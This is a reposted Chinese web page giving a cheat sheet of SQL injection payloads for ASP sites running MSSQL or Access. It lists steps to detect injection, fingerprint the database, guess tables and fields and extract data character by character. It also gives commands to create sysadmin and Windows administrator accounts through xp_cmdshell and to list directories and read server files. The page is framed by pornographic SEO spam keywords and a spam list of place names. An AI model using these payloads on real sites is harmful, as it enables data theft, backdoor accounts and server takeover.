国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > ASP > 正文

全面認識ASP注入技巧

2024-05-04 10:59:09
字體:
來源:轉載
供稿:網友
復制代碼 代碼如下:

1.判斷是否有注入 
;and 1=1 
;and 1=2 

2.初步判斷是否是mssql 
;and user>0 

3.注入參數是字符 
'and [查詢條件] and ''=' 

4.搜索時沒過濾參數的 
'and [查詢條件] and '%25'=' 

5.判斷數據庫系統 
;and (select count(*) from sysobjects)>0 mssql 
;and (select count(*) from msysobjects)>0 access 

6.猜數據庫 
;and (Select Count(*) from [數據庫名])>0 

7.猜字段 
;and (Select Count(字段名) from 數據庫名)>0 

8.猜字段中記錄長度 
;and (select top 1 len(字段名) from 數據庫名)>0 

9.(1)猜字段的ascii值(access) 
;and (select top 1 asc(mid(字段名,1,1)) from 數據庫名)>0 

(2)猜字段的ascii值(mssql) 
;and (select top 1 unicode(substring(字段名,1,1)) from 數據庫名)>0 

10.測試權限結構(mssql) 
;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- 
;and 1=(SELECT IS_MEMBER('db_owner'));-- 

11.添加mssql和系統的帳戶 
;exec master.dbo.sp_addlogin username;-- 
;exec master.dbo.sp_password null,username,password;-- 
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 

12.(1)遍歷目錄 
;create table dirs(paths varchar(100), id int) 
;insert dirs exec master.dbo.xp_dirtree 'c:/' 
;and (select top 1 paths from dirs)>0 
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 

(2)遍歷目錄 
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器 
;insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 獲得子目錄列表 
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 獲得所有子目錄的目錄樹結構 
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看文件的內容 
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 吴堡县| 徐水县| 疏勒县| 江都市| 鄂尔多斯市| 西和县| 登封市| 中阳县| 乌鲁木齐市| 九江市| 泽州县| 开平市| 和硕县| 定安县| 新绛县| 迁安市| 郧西县| 丹江口市| 滨州市| 罗甸县| 天等县| 许昌县| 德惠市| 日土县| 柳江县| 昌平区| 宜春市| 大足县| 凉山| 阿拉善右旗| 裕民县| 奎屯市| 闻喜县| 潼关县| 都江堰市| 凤山县| 赤水市| 乐陵市| 金堂县| 北流市| 包头市|